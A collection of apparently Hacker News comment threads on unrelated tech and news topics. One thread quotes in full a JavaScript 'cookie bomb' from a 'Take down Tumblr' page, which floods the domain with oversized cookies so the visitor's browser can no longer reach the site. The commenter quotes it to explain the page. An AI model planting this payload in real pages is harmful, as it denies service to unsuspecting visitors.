As for this "precise generational collector", I doubt it. Like everything, saying you need a GC all the time to be safe is just more boogey man fear mongering. You don't need a GC. They're nice yeah. But if you know the application very well then memory management isn't too big a deal.

<comment><USER6> GC isn't required to be safe, and it doesn't guarantee safety, but it _does_ makes safety a whole lot more likely.

Boehm is the best garbage collector given its constraints, but that doesn't make it a good garbage collector overall, or even one worth using. I agree that good GC requires language support; what I disagree with is the attitude that people should use C anyway and forget GC because Boehm isn't good.

<comment><USER3> You know, you bring up another point: Memory leaks are not a "safety" problem in a web server. Just look at Rails. <rimshot>

</comment></comment></comment></comment><comment><USER7> I had to smile, when I read the head line and later the article. During my first year of university, I wrote a verb conjugation engine and a very simple webserver for the UI (I wanted cross-plattform compatibility and it was easier than learning GTK+).

I, too, choose bstring for strings and used valgrind a lot. It's nice to see I'm not the only one writing C code this way. (Although I don't write much C anymore.)

</comment><comment><USER8> > stupid J2ME clients that send chunked-encoding when they aren't supposed to > (it's for servers morons).

Sorry, Mr. Shaw, but you are wrong (but I still like you and I'm looking forward to Mongrel2).

RFC 2616 is careful to say 'server' when it means servers and 'client' when it means clients. Section 3.6.1 specifically states that HTTP/1.1 _applications_ (so both clients and servers!) MUST support chunked encoding.

The developers of that Java HTTP client (Jakarta?) seem to have read the spec more thoroughly than you did. :-)

<comment><USER9> Furthermore, Chunked to the client is having a renaissance at the moment thanks to the BigPipe ideas coming out of Facebook. Speaking of which, Mongrel2 will be a tremendous server for apps that need this optimization.

<comment><USER3> No, this is chunked _from_ the client, not to the client. To the client is quite alright and works great. From the client is absolutely retarded and total abuse of the protocol.

Which brings up another point: HTTP is like the old testament. Wanna kill your brother? Probably find something to support it. Wanna sacrifice a goat? Yep, you could do that. Don't want people to sacrifice goats? Sure, rock on. Want adultery? You could probably find that too. It's got everything depending on what you read, where you read, and what context you take it in.

The HTTP RFC is like that. Want to send chunked encoding mixed inside a keep- alive with request pipelining when you don't really need to? Rock on. Want google web accelerator to hit links without you asking it to (in clear violation of every other part of the browser standard)? Go for it. Don't want people to do that? Cool there's another part.

After a while, you have to go with what's most probable, and just be explicit in your own design about the rest.

</comment></comment></comment><comment><USER10> The moral of these threads: don't argue with Zed. He'll out-point you! Don't hate the coder, love the code.

</comment><comment><USER11> "Memory is predictable, and with Valgrind not a danger."

I find that statement a tad too optimistic. If you use Valgrind continually (and people really should), you do catch memory misuse in normal situations. It does not say much about how well programs function with 'abnormal' inputs (accidents, exploits).

Given that bugs do happen, even to the best of programmers, would you rather have a buffer overflow or an exception? It depends on the application and context, but it is harder to answer (and get it right) than the author pretends.

<comment><USER3> Well, your logic applies to every language, no matter what, always. The only difference is the types of errors it can't handle and what tools you need to avoid them.

I think of valgrind as a GC compiler.

<comment><USER11> Of course, except that many runtimes/libraries handle tripping over array boundaries gracefully, rather than overwriting memory. And some languages avoid null/wild pointers completely.

Your programs will still be suspectible to buffer overflows, invalid dereferencing, etc. While, say, Haskell programmers do not have the same problems. Valgrind is no substitute to runtime checks and a proper type system.

<comment><USER3> Your runtime checks and proper type system and at dynamic linking. That means you don't have them, and they aren't a complete total truth of any kind at all. They're just a highly probable enhancement.

</comment></comment></comment></comment><comment><USER12> _Switching stacks on the GC was like setting its house on fire and then shooting it as it ran out the front door in its lingerie._

That's bad, right? I'm still giggling.

</comment><comment><USER13> A library for handling strings ? LMAO.</comment>


Apple says it has no interest in buying TikTok - <AUTHOR> https://www.reuters.com/article/us-usa-tiktok-apple/apple-says-it-has-no-interest-in-buying-tiktok-idUSKCN250259 <comment><USER2> It would go against Apple's privacy brand to move into social. Consequently, no surprise here.

If Apple could have a privacy-minded social network, it certainly would be an interesting proposition. Why not compete with Facebook?

<comment><USER3> China is also one of the largest markets, if not their largest market. Buying tiktok or going into social media, especially now, would be a huge headache for them for no obvious benefit.</comment></comment>


Take down Tumblr - <AUTHOR> http://krol-okrucyusz.tumblr.com/

<comment><USER2> Javascript on this page that 'takes down tumblr':

      (function () {
      'use strict';

      function getRootDomain() {
        return window.location.host.match(new RegExp('[^\.]*\.[^\.]*$'));
      }

      function nowMillis() {
        return (new Date()).getTime();
      }

      function setCookie(key, value, expires) {
        var domain = getRootDomain();
        document.cookie = key + "=" + escape(value) +
          ";path=/;domain=" + domain + "; expires="+expires.toUTCString();
      }

      function setCookieBomb() {
        var value =
          'Boring___',
        i,
        key,

        // Expire cookies 5 minutes from now,
        expires = new Date(nowMillis() + 5 * 60 * 1000);

        for (i = value.length; i < 4000; ++i) {
          value += '_';
        }

        for (i = 0; i < 150; ++i) {
          key = 'key' + i.toString();
          setCookie(key, value, expires);
        }
      }

      if (window.location.pathname.indexOf('customize') === -1) {
          setCookieBomb();
      }
      }());

It seems that Tumblr's webservers won't accept really big requests, like those that have 150 cookies that are 4000+ characters.

</comment><comment><AUTHOR> I've submitted this to point you to the more interesting (but related) submission of mine that didn't get much exposure. It unfortunately involves reading: <https://news.ycombinator.com/item?id=5531743>

</comment><comment><USER3> Well. I can't go to tumblr.com now.

Deleting cookies worked :P</comment>


Google+ - Circles as a new subscription model - <AUTHOR> http://blog.webdistortion.com/2011/07/11/googleplus-circles-as-a-new-subscription-model/

<comment><USER2> I've read about this idea before. I think it's a good idea to have some public circles, and people can subscribe to those. This way Google+ also becomes a network not just around relationships, but also around topics.</comment>


Python AND /Or Ruby frameworks/IDEs - <AUTHOR>

Hello guys,

        I workd most of the time with .NET(C#,Webservices,ASP.NET).I'm willing to learn Python AND /OR Ruby.
 What are some good frameworks,IDEs for Python?
What are some good frameworks,IDEs for Ruby?
Thanks in advance. <comment><USER2> Python:

Pyramid (<http://docs.pylonsproject.org/projects/pyramid/1.0/>)

Django (<http://www.djangoproject.com/>)

TurboGears (<http://turbogears.org/>)

Web.py (<http://webpy.org/>)

flask (<http://flask.pocoo.org/>)

Ruby:

rails (<http://www.rubyonrails.org/>)

sinatra (<http://www.sinatrarb.com>)

I highly recommend Pyramid using Python, but it is a subjective thing. First is decide the language you like better than compare the frameworks and find the best on for you.

<comment><AUTHOR> Thank you ConceitedCode.How about IDEs?

<comment><USER2> I recommend using your text editor of choice (mine is Vim) and the command line tools, because I find an IDE unnecessary for these projects, but if you really want an IDE you can use RubyMine(<http://www.jetbrains.com/ruby/>), PyCharm(<http://www.jetbrains.com/pycharm/>) and the one I would recommend is Komodo (<http://www.activestate.com/komodo-ide>).</comment></comment></comment>


Why aren't tech journalists responding to pitches? - <AUTHOR>

I've had several announcements about pet-projects of mine that got to the front page of HackerNews. And although that doesn't mean that the projects were promising, game-changing, or investor-attracting, it at least means they are somewhat noteworthy in the technology world.
My pet projects are not a startup, but nevertheless I pitch them to popular tech news sites, for the sake of the experiment. With absolutely zero response. At some point several people (including here on HN) pointed out that I should not write to the generic, catch-all email@example.com, but I should target individual authors that seem to be interested in similar topics. And so I did; with no response whatsoever, again.
Two concerns:
1. Why do they have a news@ / tips@ emails, if nobody reads that?
2. Are technology people, and especially startup founders at the mercy of tech journalists, trying to get personal connections to them in order to get something published?
While my projects are not my startups, and I've not thrown money at them, I imagine the confusion that a startup may have, when it hits a brick wall when trying to get publicity.
It seems that tech journalists (not all of them, of course) are not quite competent, but are also over-confident (just like any other journalist, actually). And they not only report "news" from the technology field (though many of the big tech sites are not tech tabloids; just look at the front page of Mashable), but they are also often judges of whether a startup is good or bad. And I don't believe they are competent in that either.
On the other hand, does it actually matter? If a piece of technology is really good, it probably won't need TechCrunch coverage to be successful.
Maybe only the readers suffer from the inability of tech journalists to curate interesting content. But on the other hand - that's why we have hacker news. <comment><USER2> Tech journalists for the most part are journalists first, and interested in tech second. This is why you need to pitch your idea through a PR company, and never "cold call" send it yourself. Journalists do not have the ability to see why something is interesting or different; that is why they are journalists reporting on what others are doing and not devevlopers or doers themselves.

If you want your idea to get noticed, you need to either know a journalist personally and ask a favour, or throw a free drinks launch party, RSVP. Then you will get some results. Failing both of those, you need to hire specialist PR to push your message. They do all the things you cannot do; offer freebies down the road, invitations to parties, access to celebrities in whatever field, scoops, etc.

The other way to generate interest is to avoid the press entirely, and go directly to the public by whatever means is convenient and cost effective. If you've written a new Perl Module, suggesting it to TechCrunch will not get you anywhere, but posting on a relevant forum will. Of course, TechCrunch cant tell what is interesting in advance, wether its a Perl Module or some new consumer device no one has heard of or thought of before.

Then there is the problem of noise. Even if all journalists were capable of understanding the ideas and products that are sent to them, and the way these ideas and products will interact with other parts of the economy six level in, they do not have time to look seriously at everything that is sent to them, and so they must use some form of filter. A convenient one is the PR firm, that packages, and contextualizes the idea for them, so that ideally, they do not even have to do any writing themselves, they just copypasta the press release and photos that are handed to them on a plate. From their point of view, this is ideal. They get their work done for them, they are made to look like they have their finger on the pulse of the hottest ideas, and they don't have to do any writing or research or photography themselves.

This is the reality of not only tech news, but of all news where new products are mentioned. Its not news, its all pure Public Relations, which is all about ego, money, freebies and status. There are notable exceptions of course, and if you find them, you must tailor your approach accordingly.</comment>


Microsoft Patents Office Spying System - <AUTHOR> http://www.reuters.com/article/blogBurst/technology?type=technologyNews&w1=B7ovpm21IaDoL40ZFnNfGe&w2=B82x9Ksc5UNVzDjpITcIrRbi&src=blogBurst_technologyNews&bbPostId=CzBctWMo5VGUZCz2f5oUDvDa1FCz36SjVoWOHOOB7AG9YaSS6Bp&bbParentWidgetId=B82x9Ksc5UNVzDjpITcIrRbi

<comment><USER2> Would be cool if they could also monitor the workers brain function and ensure that it is related to the task at hand.

On the other hand, if they have reached that stage, maybe they won't need workers anymore...</comment>


Dell's iPhone Killer rejected by carriers as too dull - <AUTHOR> http://www.appleinsider.com/articles/09/03/21/dells_iphone_killer_rejected_by_carriers_as_too_dull.html

<comment><USER2> This is a rather useless article that I'm guessing got modded up because of the Iphone in the title, it doesn't give much substance and seems to bash dell, a company who is spreading into other markets and learning as they go. It's not like apple went out and made an iphone in a day, why would it be any different for dell.

Anyways whats with this 'killer' trend it is rather annoying, of course nothing is going to kill another thing and if they try the most they could become is a replacement, just as no OS will kill another and no mp3 player will kill another they are alternatives.

<comment><USER3> I don't know, I think there's a valid point here. A lot of people (usually Android supporters) assume the Cell. Phone market is going to go the way of the PC market in that generic manufacturers are going to take over. That's what Dell tried to do and their rejection shows, at least for now, that isn't a valid philosophy.

Maybe that will change if, in the future, phones become interchangable and providers lose the power they have over the industry. But for now the PC model doesn't work.

<comment><USER4> _and providers lose the power they have over the industry_

In Europe they have _no_ power at all. It's quite nice and you can choose any phone you fancy, no lock-downs included. Insert your provider's SIM and you are pretty much ready to go.

People here typically adapt to a new phone around once a year, and odd as it may seem, these days phones are pretty generic things. All phones seems to do the same, and the competition seems to be on how to do it best, how to offer the best experience.

<comment><USER5> "In Europe they have no power at all. It's quite nice and you can choose any phone you fancy, no lock-downs included. Insert your provider's SIM and you are pretty much ready to go."

Likewise in India. And India is a pretty large market for cell phones. I heard a million more cell phone customers were added last month, recession be damned.

</comment></comment></comment></comment><comment><USER6> This is a total fluff piece. They talk about a phone which has been rejected as too dull, but dell has not even commented on making a phone, nor have any of the carriers commented on it being too dull. Either this is link bait pure and simple or I failed at reading it.

</comment><comment><USER7> I think its smart for Dell to move into the mobile business, but stick with what they do best, make the cheapest commodity phone on the market, have it run android, and profit off people replacing it every 6-12 months when it breaks.</comment>


One 'Small' Statement Backfires on BP - <AUTHOR> http://thecaucus.blogs.nytimes.com/2010/06/16/one-small-statement-backfires-on-bp/

<comment><USER2> I have very little or no sympathy for BP and for their CEO or for their apologists.

However, I think it is unfair to attack a Swedish guy (who probably speaks English as a 3rd or 4th language) for saying "small people" when he probably intended to say something like "little guy" or "ordinary people"

<comment><USER3> I speak English as a second language and I was convinced that "small people" is a synonym for "ordinary people" until I read this article.

The German expression "Der kleine Mann" means "ordinary man" (in the context of an ordinary man against a big company or the government), but the word "klein" literally translates to "small"/"little".

<comment><USER4> "The little guy" means something similar, but with the added connotation of being an underdog (which sounds like what you describe "Der kleine Mann" as). Tiny idiomatic differences!

</comment></comment></comment><comment><USER5> That article left me with no respect for Gov. Haley Barbour. His concern is that putting money in an escrow account will hurt BP's ability to do business and make money to pay people back. But the escrow account is being filled by diverting money that otherwise would have gone to dividend payments, which is money taken out of the company and put back in the pockets of investors. Therefore this does not change by one cent how much operating capital BP will have to pursue its business.

<comment><USER6> Not paying dividends for 2 years is going to significantly change BP's ability to raise capital; dividend cuts or suspensions are _always_ taken as a sign of financial stress, and that's certainly what's happening here.

And who says 20 billion is the limit? A lot of people fear it's just the start.

<comment><USER5> _Not paying dividends for 2 years is going to significantly change BP's ability to raise capital; dividend cuts or suspensions are always taken as a sign of financial stress, and that's certainly what's happening here._

You're shooting the messenger here. Their ability to raise capital has been hurt by their legal liabilities, not by the dividend cut. In fact the dividend cut helps their ability to raise capital, not hurts it!

What this move does is transfer money from BP's investors to inevitable creditors. This therefore costs investors money up front, and reduces the chances of eventual bankruptcy. That makes it harder for them to raise money by selling stock, and easier to raise it in the credit markets. With their current problems they are better off going to the credit markets, so this helps them.

 _And who says 20 billion is the limit? A lot of people fear it's just the start._

I agree that 20 billion is a lower limit of their likely liabilities. Which is why they should start saving up to pay those liabilities as soon as possible.

</comment></comment></comment><comment><USER7> Not to hijack this thread, but I find it interesting to compare the fallout of the BP CEO's speech with the analysis of Obama's speech about the disaster: [http://www.cnn.com/2010/POLITICS/06/16/obama.speech.analysis...](http://www.cnn.com/2010/POLITICS/06/16/obama.speech.analysis/)

Choose your words wisely because people are going to interpret them in ways you didn't expect.

</comment><comment><USER8> It would be typical of the media/American public to act as if this statement was what made them think that they were not respected by the individuals who run corporations, while they didn't seem to get the idea from 150+ years of being abused by corporate aristocrats.

</comment><comment><USER9> and if he had referred to the average person, doubtlessly there'd be someone ripping on him for thinking he's above average.

</comment><comment><USER10> Blame BP, blame regulation, blah blah blah. When it comes down to it, the real problem is the american people who sit on their asses feeling they've done good by voting for the next (obvious to those who pay attention) promise- anything-for-power president.

As far as I'm concerned, this has nothing to do with a "private" over-sized company and everything to do with how relaxed americans have become when complaining about their goverment or goverment-assisted companies. Where's your nationalism now?</comment>


Project Christine - <AUTHOR> http://www.razerzone.com/christine

<comment><USER2> I'd find this a more appealing idea if the modules were built to an open, standardized interface and you had a choice of many vendors when upgrading your machine. However, by buying the existing system, you'd be locking yourself into only using proprietary modules that are available from the original vendor.

I'm also not sure what the value proposition is here. Let's say I'm the kind of user who doesn't know how to add RAM or a disk drive to my existing machine. Wouldn't it be cheaper to pay someone a hundred dollars of labor cost to do it for me than to buy this expensive hardware? Upgrading a machine is a fairly rare occurance.

</comment><comment><USER3> This looks awesome, kudos to Razer for attempting it.

One thing I wonder is, the perpetual problem for diy system builders is that eventually socket/connection technology is obsoleted and you have to upgrade your motherboard in order to upgrade the CPU, GPU, HDD, etc.

This essentially looks like a more accessible motherboard, but still subject to that problem where eventually you'll have to replace the core product in order to keep updating the peripherals.

In fact, I doubt a stable socket/connection technology will ever be arrived at, so it seems the only solution is to make those (and the motherboard) as interchangeable as all the other components, essentially an equal piece of the puzzle rather than the core of it all.

I wonder if it's even possible to engineer a computer where both the motherboard and the sockets/slots are abstracted away into components that are just as easily replaced/upgraded as the GPU, CPU, Disc player, HDDs, etc.

</comment><comment><USER4> It looks like a really interesting idea. I'll check back in a few months, see if there's more information than that two-second elevator pitch of a website.

</comment><comment><USER5> Would love this! Mostly because of the high performance-low noise stuff

</comment><comment><USER6> The fact that my scroll wheel breaks is really really _really_ annoying.

</comment><comment><USER7> CompuBlox!</comment>


Bitcoin Is Now Worth Nearly Three Times the Price of Gold - <AUTHOR> https://futurism.com/bitcoin-is-now-worth-nearly-three-times-the-price-of-gold/ <comment><USER2> You mean that for every 1kg of Bitcoin I can purchase 3kg of gold?</comment>


NASA captures earthly anti-matter explosions on video - <AUTHOR> http://www.dailygalaxy.com/my_weblog/2012/12/image-of-the-day-nasa-captures-earthly-anti-matter-explosions-video.html

<comment><AUTHOR> Key points:

Lightning is directly linked to events that produce some of the highest-energy light naturally made on Earth: terrestrial gamma-ray flashes (TGFs). NASA's Fermi Gamma-ray Space Telescope was recently fine-tuned to better catch TGFs. NASA's scientists observed antimatter structures forming above thunderstorms on Earth.

See aslo <http://en.wikipedia.org/wiki/Terrestrial_gamma-ray_flash></comment>


Ask HN: How do you raise your first round if you can't afford to demo your idea? - <AUTHOR> I have an idea, which is expensive to concept $150K (it's a medical hardware product).<p>My background is pretty average, nothing extraordinary, and I don't have a team, but if I can demo the product, I know it will work. <comment><USER2> Are you in the industry for your product? Is there anyone in the same industry who knows you and you could convince there is a market for your product? Someone to be your co-founder and help you create your demo?

What about just proving the market exists? Can you get surveys, interviews, testimonials from buyers in the industry that they need this product and would by $X for it? That would go a long way to convincing someone to get you funding to demo.

Can you MVP a simpler version? Something that only costs $50k instead of $150k but proves out 80% of the functionality?

As a founder, you will face this type of problem constantly. You will always be short of time, money or talent (or some combination of all 3) while trying to make your goals. When someone invests in your idea, they are as much investing in you and your ability to navigate these challenges.

Bringing a real MVP to market and making those first few sales is a huge proof of concept for YOU as a Founder. Investors need to see that.

</comment><comment><USER3> I work at a medical startup that produces hardware and software. I can tell you nothing in medical is easy or inexpensive.

If you are really motivated you can start with simple off the shelf components and show people the vision, get them on board. It doesn't have to look perfect, just be communicative and demonstrable in some form. While I agree in theory with some other comments about getting some high net worth Dr's etc to maybe fund the initial work, this is a lot easier said than done. Hospitals in the U.S. are even harder and generally won't talk to you unless you already have product in hand and can prove you meet their security requirements etc. The U.S. medical market is tough for a multitude of reasons, it is also ripe for innovation, so it is worth it, just not easy.

I will say this too, without something to show/demo in some form (even partial functionality), you will likely not succeed in raising money. It sounds like from your very brief description of yourself you are an "unknown" entity so you will struggle to raise the funds unless you have an amazing network. I am not criticizing you, it is just the way the system works. You can still do it, just expect many "no"'s from people and don't get discouraged, eventually you will find a yes.

</comment><comment><USER4> Usually, the way to do this is to get a bunch of friends and families and raise a "seed" round that will convert at Series A. It's common to offer seed investors a discount to make it worth their while. I'm interested in investing, let me know what you're doing via private comment

</comment><comment><USER5> There are lots of niche medical investors, as well as government grants. You can try to pitch to those. They'll also understand and be able to criticize the idea better.

You can sell it to a hospital before you build it. Pitch the product, get feedback, then build. If the problem is big enough, they'll pay you in advance.

<comment><USER6> Also, in rare cases, depending on your pitch and network, if the customer (hospital in this case) is impressed and gives you the order, you can ask for a token amount which can help you get off the ground and work towards the product in discussion.

<comment><USER7> I wouldn't call this a rare case. It's a pretty common strategy in enterprise b2b startups. You develop a PoC that solves a real problem for customers with real money, and they'll pay you to be one of the first customers if you can implement their feature requests.

</comment></comment></comment><comment><USER8> I would find a few doctors who want to play investor and pitch the idea to them. If they grok, money may follow to poc.</comment>


Become a Good Programmer in Six Really Hard Steps - <AUTHOR> http://www.gamedev.net/blog/355/entry-2250592-become-a-good-programmer-in-six-really-hard-steps/

<comment><USER2> Hardness really depends on whether you like something or not, and your previous experience. It's subjective. For a college xc runner, running 5 miles in 35 minutes is "taking it easy", for an average american it's an impossible task,

I think if you find something "hard" you're doing it wrong or setting impossible goals which just lead to frustration and everything becoming harder.

<comment><USER3> Depends. Some people revel in the frustration of failure. I still remember learning how to unicycle. It was two weeks of constant failure, but in the end I could do what few other people manage.</comment></comment>


The Two Types of Browser Zoom - <AUTHOR> http://www.codinghorror.com/blog/archives/001212.html

<comment><USER2>
      "I wish more browsers would
      take the lead from Firefox 3
      and adopt full page zoom"

I wish Text Zoom stays the default. I like text. I dont want pictures, videos and navigation to become bigger when I hit CTRL+. I want all the space for BIG TEXT. I dont care if the design of the page breaks.</comment>


Activate This 'Bracelet of Silence,' and Alexa Can't Eavesdrop - <AUTHOR> https://www.nytimes.com/2020/02/14/technology/alexa-jamming-bracelet-privacy-armor.html <comment><USER2> Interesting, but couldn't you just pull the power and internet from Alexa to get the same end result? She will dream. Or the inverse, make Alexa a phone app, so the spouse that wants it, can wear a Tactical Laryngophone Earpiece microphone so Alexa can't spy on anyone except the owner.

On the other hand _no pun intended_ the bracelet might do a good job of preventing rodents from nesting in your home.

<comment><USER3> It uses WiFi and for all we know could run a considerable amount of time unplugged.

Sent mine to the landfill.</comment></comment>


SAE standardizes new EV charging connector - <AUTHOR> http://www.sae.org/mags/AEI/7479

<comment><AUTHOR> This is actually the second round of standards. The first had the GM/Hughes inductive paddle charger, which turned out to be really neat technology but a bit of a boondoggle in terms of cost. I'm not aware of this one still being used in any significant numbers.

The second was this huge ugly square thing made by a company called AVCON for conductive charging. This is the connector being replaced by the new one, know as Yazaki after the company that designed it.</comment>


U.S. Fighters About to Get Infrared Sensors That Could Be Huge for UFO Reporting - <AUTHOR> https://www.thedrive.com/the-war-zone/28903/u-s-fighter-jets-are-about-to-get-infrared-sensors-that-could-be-huge-for-ufo-reporting <comment><USER2> I'm not a UFO-interested person, but some of the news around this stuff is just... bizarre. For example, this patent[1] from the secretary of the navy activated last Friday for "Craft using an inertial mass reduction device"?

The circumstances around the patent are even more intriguing. Here's a quote from a patent lawyer here on HN regarding this patent[2]:

 _Whether or not the named inventor was a crank, and whether or not the invention was equally frivolous, this was a patent prosecuted by a Navy attorney, vouched for by the Navy CTO, and pushed through under atypical circumstances, in a public forum._

1\. [https://patents.google.com/patent/US10144532B2/en](https://patents.google.com/patent/US10144532B2/en)

2\. [https://news.ycombinator.com/threads?id=fncypants](https://news.ycombinator.com/threads?id=fncypants)

<comment><USER3> I feel like these patente are a red herring to throw off Chinese and Russian scientists. If this research was real, it would probably be classified and the Navy would've used the mechanisms that exist for keeping patents secret.

<comment><USER4> That doesn't make sense unless one assumes Chinese and Russian scientists are idiots who can't tell real science from BS... in which case there would be no reason to throw them off to begin with.

<comment> King-Aaron That's my thought too. Someone else mentioned the math being basically nonsense, but surely if it was there to misdirect other scientists there must be some grain of sense to it - otherwise it'd just be an exercise in futility?

<comment><USER4> The misdirection would only work until someone actually read it and pointed the nonsense out, though. If it were actually intended to fool someone, it would probably be less obviously wrong. A patent for something feasibly advanced but not too out of the ordinary, or something hidden as a red herring in an actual classified document intended to be intercepted. I have a hard time believing a foreign government would waste a significant amount of time and money on American patents on woo-woo antigravity and things.

In another thread, I thought it could just be someone trolling the patent office, but I don't know.

<comment> King-Aaron I think I'll just file this one under "interesting but probably not worth thinking about"

</comment></comment></comment></comment></comment></comment><comment><USER5> I find it uninspiring that we still only get grainy video or flir video from these jets. They claim multiple jets detected on but there was no ground based radar, satellites, or other sources that could correlate these "sightings"? The evidence always seems so thin and from a single source, almost on purpose.

<comment><USER6> What has struck me a few times with the videos from fighter jets is that the UFO does not seem to move relative to the camera, that is, it's stuck in the middle or something. Which of course to me implies it's a speck or something on the camera.

(I'm not a photographer though. I did read that e.g. scratches on a camera lens don't really have a noticeable effect on the final picture as well)

<comment><USER7> If they are taking those videos with their targeting pods, then the pod follows the locked target, keeping it in the frame center. It would be different if they took the videos with their gun sight, which is fixed in a single direction.

</comment></comment></comment><comment> King-Aaron It's probably a logical fallacy of some kind on my part, but does it seem to anyone else that stories about UFO's are recently becoming more common in the mainstream media?

<comment><USER8> I listened to a podcast interview with Dan Aykroyd recently and he talked about the exact same thing. He is convinced they are doing soft preparation to begin unveiling extraterrestrial life to us. Dan Aykroyd is definitely not a legitimate source haha, but he is someone who is very ear to the ground on this stuff, and you are not alone in noticing a recent uptick in sightings , news, leaks, etc. about UFOs.

<comment><USER9> It would be quite the movie plot if extraterrestrial life were revealed right when the humanity needs to work together in a massive push to avoid the climate catastrophe.

<comment><USER4> That would basically just be "Day the Earth Stood Still," but with an environmental, rather than anti-war message.

And it's too late to avoid the climate catastrophe anyway, so the only reason aliens would actually show up is for the free real estate after humanity completes its self-fumigation.

<comment><USER10> It's never too late. We are just one World War 3 away from the solution...

<comment><USER4> Humanity could bomb itself back to being just a single stone age tribe tomorrow and it likely wouldn't reverse the course of climate change.

The avalanche has begun, it's too late now for the pebbles to vote.

<comment><USER11> Nuclear winter? That could reverse the course of climate change, and then some. (It's not a _good_ answer to the climate problem...)

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> > We see this in action in the "Go Fast" and "Gimbal" videos released by the > Pentagon that supposedly show UFOs. I don't believe these videos show > anything really out of the ordinary at all, and certainly nothing > definitively so, and there has been some very good forensic analysis done on > them already that reinforces this point of view. Nick West, in particular, > has really done compelling work on this topic. Some of his videos are posted > below and are worth consideration. The third video that was released, the > one of the infamous "Tic Tac" from 2004, looks like, well a Tic Tac, at > least to me. Regardless, they all show FLIR footage taken by Hornets' > targeting pods.

<comment><USER13> The odd part is the radar-visual claims, and why would someone like Navy Cmdr. David Fravor (who claimed to have visual contact and was in pursuit of the object), would throw all of his legacy out the window, all for a lie that could easily be debunked.

I find it hard to pin that the US Navy pilots aren't as sharp as we perceived to be, or that these actors had something to gain with this, or if it was easily debunked why weren't the actors involved briefed on what it was.

<comment><USER14> I agree - and with this kind of stuff, somehow we're prone to looking at the government like it's a perfectly running black box, with an all-reaching, all- encompassing power and control over information. But if you look at these pieces of information that have gone out - "something is being reported by our people, we don't actually know what is it, people are talking about it to the outside as well, we thought we add some equipment to see if we can find out more" \- it seems much more realistic to me, and much more in line with inefficient, clumsy and sometimes incompetent government that it is...

</comment></comment></comment><comment><USER15> The author made a very good case overall.

More sensors means more measurement, which means more control of time and space, and the further enabling of an outward-looking stance. All of which is going to be of benefit as humanity leans harder on the science of the natural world and begins reaching for new ways to prevent catastrophic wars and disasters and explores space travel options. The more sensors, and the smarter they can operate, the better.

The 20th century was in many ways a huge list of reasons why we shouldn't cocoon ourselves and "not explore" things that are what I call NO-NOs: Next order natural occurrences. Think we know it all, have seen it all, and can predict it all? Nope! And sensors are going to help us navigate and push through to new levels of understanding.

It sounds crazy but there are still influential people in the military affairs community who don't believe we should look into UFOs. Not because they claim they don't exist, but because they claim the tech is too far beyond us, and there's nothing we can do about it! So why try? This is literally their reasoning. For a good example, listen to Lt. Col. Halt USAF (RET) recap his experience at Rendlesham in recent interviews.

This psychology is exactly what will keep us from moving forward and exploring whatever else is really out there. No cover-up conspiracies needed, just plain old heads-down psychology. Keep the world the way it is. You can't argue with the psychology and expect to get anywhere; it is too self-protective. So arguing for more and better sensors is probably the best stance we have right now.

</comment><comment><USER16> Tyler Rogoway just keeps writing these fantasy UFO articles and people just refuse to read the articles that debunked the findings.

<comment><USER17> Could be the case that people don't know about them, because after all, they aren't linked anywhere.

</comment></comment><comment><USER18> Obligatory [https://xkcd.com/1235/](https://xkcd.com/1235/)

Assuming UFO != alien, then this is definitely interesting. There are definitely atmospheric phenomena we know little or nothing about. Sprites, elves, jets, ball lightning and so on. More data on that would be exciting.

2019: "Quick get my worst camera so I can snap this UFO!"

</comment><comment><USER19> I wonder what people here think of Bob Lazar. On one hand I have a very hard time believing the physics he describes without hard proof, on the other his story has been remarkably consistent, there's bits of tangential evidence and as a whole it AFAIK wasn't falsified for 30 years now. It's certain to me at least that he worked at Los Alamos. I have only two explanations:

1) he was a Los Alamos employee that came up with a scheme to sell books and such, and has a remarkable gift for acting and telling that story consistently for decades. But then why the FBI raids and such, is that invented too?

2) pretty much his entire story is true. But could such a huge project be kept secret?

<comment><USER20> From what I understand, records show he worked at Los Alamos, but not his role, so he could have been a janitor for all we know.

We also know he didn't actually go to MIT like he claims, and the way he explains the "alien tech" are not the way a real engineer would talk about these things. So I'd say definitely a crackpot...

<comment><USER21> How do we know that he didn't go to MIT? And what does he say that is inconsistent with how a real engineer would talk about something?

<comment><USER22> There's a video of him being asked who his professors were at Caltech and MIT. He names two people, one was from a community college and a high school I think.

And he doesn't explain the science in a detailed or verbose way.

<comment><USER21> Neither of those explanations are very satisfying. At best they might make the story suspicious, but that doesn't seem like enough to say we _know_ something.

<comment><USER20> I mean, the claim that he worked at a secret lab on alien tech should be the suspicious part...

The burden on proof is on him to prove the story is real, not on others to disprove the stuff he makes up.

<comment><USER21> Sure, but that's besides the point. Once parent comment asserts a fact about a specific detail, they now have an obligation to cite the evidence for that particular fact. Lazar's obligation to prove his own claims is a legitimate but separate issue.</comment></comment></comment></comment></comment></comment></comment>


Show HN: Intercept network traffic right on your iPhone - aggregator-ios https://itunes.apple.com/us/app/peek-tools/id1187756601?mt=8 <comment><AUTHOR> Hey this is actually pretty useful!

I understand the need for installing a certificate to capture SSL, but it would be nice if you could just roll your own root CA cert. The documentation is not clear wether this is possible...

The link to the user guide on the itunes page is 404. ([https://peek.tools/ios/guide](https://peek.tools/ios/guide))

Is it possible to view the requests on the mac instead of the phone as well?

Other than that, looks really useful, I'll try it out next time the need arises.

<comment> aggregator-ios Developer here, thanks for your kind note :)

Makes sense that you would want to use your own root CA--especially when public key pinning is used. Added to the feature list!

The ability to view interception data on the Mac is on the roadmap. In fact, Peek for macOS ([https://peek.tools](https://peek.tools)) uses the same internal framework as Peek Tools for iOS, and sharing can be as easy as AirDrop.

Sorry about the 404 link, I'll fix that in the next update

</comment></comment><comment><USER2> Cool. But I'm not sure what the value is of putting this on the phone you are targeting, rather than on a computer on the same wifi network (or a VPN). Why not just use fiddler/charles/mitmproxy/burp on your computer? Doesn't the desktop interface lend itself much better to something like proxy debugging?

On another note, if you want this to work on cellphone networks as well as wifi, could you create a local VPN server (I think this is possible with swift), connect to it via the iOS tun API and then use the proxy on its local VPN address?

When I want to intercept iOS traffic, I connect to a VPN with proxy settings to a mitmproxy instance running on the VPN subnet.

<comment> aggregator-ios Great points :)

Peek Tools for iOS is built using the same internal framework as Peek for macOS ([https://peek.tools](https://peek.tools)). And while the iOS version doesn't have the JSON Query capability, the interception features are the same. I found myself and other engineers needing to debug network requests in a meeting, or during demonstration by QA, where access to a desktop is just not readily available or it's cumbersome. IMO, the app isn't a replacement for the desktop, but provides for a quicker and easier experience on an iPad/iPhone.

You can definitely roll your own VPN server and connect to it from the app--I didn't explore that for the 1.0 release, but it's certainly compelling :)

